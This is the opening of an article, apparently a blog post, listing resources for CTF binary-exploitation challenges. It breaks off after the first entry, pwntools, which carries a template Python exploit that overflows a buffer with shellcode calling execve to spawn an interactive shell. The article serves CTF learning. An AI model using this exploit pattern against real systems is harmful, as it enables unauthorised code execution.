Ten Resources for Binary Challenges
A collection of some of the most useful resources for binary challenges
Binary challenges are one of the most common types of CTF. Usually, they require you to analyze a binary and exploit some vulnerabilities.
There are a lot of tools out there, and in this article, we will see ten of them that you can’t miss during your exploitation. Without these resources, resolving binary challenges would not be the same.
1. pwntools
pwntools is a python package that allows you to write exploits faster. It gives a lot of utilities that can help you to write code during binary challenges.
Here you can see a simple exploit for shellcode exploitation with a buffer overflow vulnerability.
#!/usr/bin/env python3
import sys
from pwn import *
if "--remote" in sys.argv:
p = remote("url", 1337)
else:
p = process("./path_to_binary")
if "--debug" in sys.argv:
context.terminal = ["gnome-terminal"]
gdb.attach(p, """
b *0x<breakpoint_address>
c
""")
shellcode = asm("""
mov rax, 0x3b
mov rdi, <buffer_address>
mov rsi, 0
mov rdx, 0
syscall
""", arch='amd64')
payload = "A" * 64
payload += shellcode
p.sendline(payload)
p.interactive()